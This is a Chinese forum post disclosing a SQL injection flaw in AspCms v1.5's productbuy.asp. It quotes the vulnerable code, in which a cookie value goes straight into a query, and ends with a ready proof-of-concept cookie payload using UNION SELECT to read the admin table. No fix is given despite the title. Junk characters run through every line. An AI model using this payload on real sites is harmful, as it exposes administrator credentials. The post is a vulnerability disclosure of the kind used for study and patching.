找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2238|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....# b4 J# i% Z7 S0 B6 T- ?; j9 C- `- L( T5 d: }
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
" X; I) P3 F7 k1 d+ v: Z废话不多说,看代码:; b; Y3 P! D) I0 k
' [/ m8 d! ]7 A, ?( j* r8 l
<%
5 d9 o2 C# [' g; l2 P- k; r! X7 ~% |# u7 y: F+ S: Q, c/ o
if action = "buy" then
0 p& q* m* B$ Y/ {. e# |0 g
1 J  D4 B# Z+ S% x7 H) \        addOrder(); p2 L8 ?" u' U: ~! B

% a  G( p+ ]) Velse% |7 o$ d3 S  i8 E

9 v* R. f6 O/ K) Q8 ]) l1 P$ B        echoContent()* w" ?" X# J5 j5 F! b
% |/ x) ]" Y1 V- W7 K( h! G
end if
* Q- i6 x, x- J" g' P' N
( e# B2 \/ o$ a9 v
6 z) U$ D% g% Y# I* z& @" `, d
( d+ o& F, k5 Z) ^……略过
6 B1 ?4 S& h3 q4 }" r3 ]& ~1 J* ?( h  J

. p" G* Z, n; j4 P% A& }. S
) v5 e) t( {- S+ q( |Sub echoContent()8 w/ q/ I" t) }& v6 n# f- U

* u4 ^9 H* v3 P4 K        dim id6 P" k9 ?! r2 E. O- X, V

( L6 L3 Z7 h/ W4 {6 a% u        id=getForm("id","get")
5 E' k1 j' y- B8 J. z) U" O: d2 R7 I  |1 m, J2 F2 ?
        5 w0 e* Q+ Q1 S9 D2 m

3 F; \/ p8 T3 m4 `% q5 |        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 1 Z7 e" f, p* |) ^$ j# [

3 o+ l$ Y0 `: P: W" G, e        - D8 [9 k0 l; F7 q
4 \8 @6 D- h: C9 u$ t2 I" l
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) ~: e. @- X3 k( b# R. e1 f. [: c5 r: A& o
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 B+ h0 x+ f- H
: K/ e% K  R6 W. V9 J7 Q        Dim templatePath,tempStr
) o% D& p8 j. [' X, q7 ?1 ~
7 a$ z4 M/ B1 K; l5 n+ Q  s        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"( v3 Q" h, v7 n; n  f5 L
; J6 D  d2 }/ L! |/ O8 Z+ H" B2 P
! o! g) d9 R( m8 y# U
* P' |' g- K; I' H/ u" H
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"); [3 m9 r) n. \. h

! i/ c  ~& e9 k% [6 `        selectproduct=rsObj(0)
# I8 c3 \2 t1 n. `2 f: F/ Z
. A* F$ G, ]1 z, D' E. k6 L: u' e        
9 n( y; a8 Y- d+ E% Y. L: b
/ P: Q: l, O( J        Dim linkman,gender,phone,mobile,email,qq,address,postcode! L) {7 w. X& d2 J- u/ E) J
/ }/ p6 `' D3 Z5 K* K; A
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0$ j; I7 l" z2 q  a; p$ g/ Y
/ u0 e  |% t: t5 q3 E
        if rCookie("loginstatus")=1 then  
0 m3 k  `  ]2 t* I
; k, L2 o3 ~9 K! H5 h                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")+ M! c) j4 I7 O2 Q! L4 c" l/ n

) F0 l& m7 S  o* H: N- u- h                linkman=rsObj("truename")% ]8 e; J! s( E7 I( ~) ?- u% S
5 M1 K  C$ ]7 _$ s& b3 i
                gender=rsObj("gender")5 W5 j# r5 \, T& e; Z4 L$ L& ?

8 c$ A% x6 y* G7 Q8 D% J) ~                phone=rsObj("phone")
1 x: k9 E+ s" w6 O' R$ h7 x$ Z% V- i5 |# c  Q, `! h& X
                mobile=rsObj("mobile")7 G* N8 f( E% {$ E$ N

& l4 L: a1 w% Q3 f; a* X/ r: f( P7 e                email=rsObj("email")% H9 x& o- d5 P7 ~9 }" q) M6 r

+ @" J. [/ v' ?, v2 n                qq=rsObj("qq")
' _2 \% o1 U4 O' ?# z
- n1 s- N5 C5 \' x1 {6 d" z( I                address=rsObj("address")
- b7 v) Y" B* n( G6 @9 s3 a+ |' v% {' i- P- y& T3 A& J
                postcode=rsObj("postcode")
1 D; A9 i. S0 m; Z, y' b/ w6 m
% s/ S( T$ ~+ P  {+ |# Z        else 5 j: C" H2 |; b+ q$ i6 [/ g
4 v8 q" r1 _1 [/ S. P8 I2 h
                gender=1
  @3 x* C; e0 O( B' h) S* J
% L, Y& F+ r  ?- F        end if' P# I( ?# S$ B* X& G

1 R5 p8 O+ M! Z) v+ t        rsObj.close()
& h5 L% S; q$ t6 E2 O+ s) d! n# [
0 \4 D. F- i, [4 R% U& j                ; r5 P" |' I5 _- C( K& [9 O
, F# N, H  S' H( c0 ?. a5 d  M
        with templateObj
3 i2 G6 V( Q" x0 n4 U$ S. f* Y! z; {- v0 Y
                .content=loadFile(templatePath)        
& s3 Y/ y& v  y) D0 ?
) \0 `5 p6 m  {3 u: J  U+ Y                .parseHtml()# ?; Q6 `9 ~8 h& {
9 ?: x& _1 \3 g& g3 D. n/ V
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
- b) ?# i, I, ~# J- Q# v
8 s8 C8 o! O, C0 E& V  M% X) L) ]/ ]                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
1 n+ k( [; t  a- x
0 q+ }: g7 X: a! h. ?                .content=replaceStr(.content,"[aspcms:gender]",gender)               
$ L- ?# h: M# u/ ^+ W! R. w7 n. m6 K; G
                .content=replaceStr(.content,"[aspcms:phone]",phone)                # ?. l, M9 X. O- \+ d2 Q. I! d, z

" A9 _5 \7 ]- v1 ~4 X9 {! E% `5 n                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
' e' {: R  H/ p' s0 U9 K% w2 v) u# c7 a
                .content=replaceStr(.content,"[aspcms:email]",email)                        
! W6 q2 t- [5 I' V1 _, {$ R; t) I
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        * I+ p0 \- g8 K+ T& J" W% @

! w% A/ f4 P, s/ ^. q9 S% O2 T                .content=replaceStr(.content,"[aspcms:address]",address)                        
0 W/ E+ x1 I6 L7 d, F5 w! S4 [* S. [3 [% |+ R
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
: H6 o! H" Y' y) j4 D+ p5 J
4 U/ D; L7 y" U) c! R( A  B                .parseCommon()                 
+ j* _7 h* d3 c8 K8 @: r' u7 ?6 d7 k/ W7 c  B
                echo .content
$ }6 [- j2 V: l+ d1 V; R3 o+ r0 p5 ~1 m$ P6 b
        end with
' r; |4 ~8 q" ], y7 s9 J
2 _- s& |% L; z        set templateobj =nothing : terminateAllObjects0 _/ m9 J3 M- K( P. s
3 O& a4 X3 {; {8 o# U' E# f
End Sub
0 ]$ A; o+ _. c$ e漏洞很明显,没啥好说的6 X0 _5 [2 s8 z7 q* j
poc:$ q9 c" g" ]4 n7 u
. c4 r+ U; i' k. l4 S9 p. [
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
/ J& H! ]2 S8 h  t5 Q% g
5 l0 ]# S( b* @9 [+ y- H" V6 v& l3 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表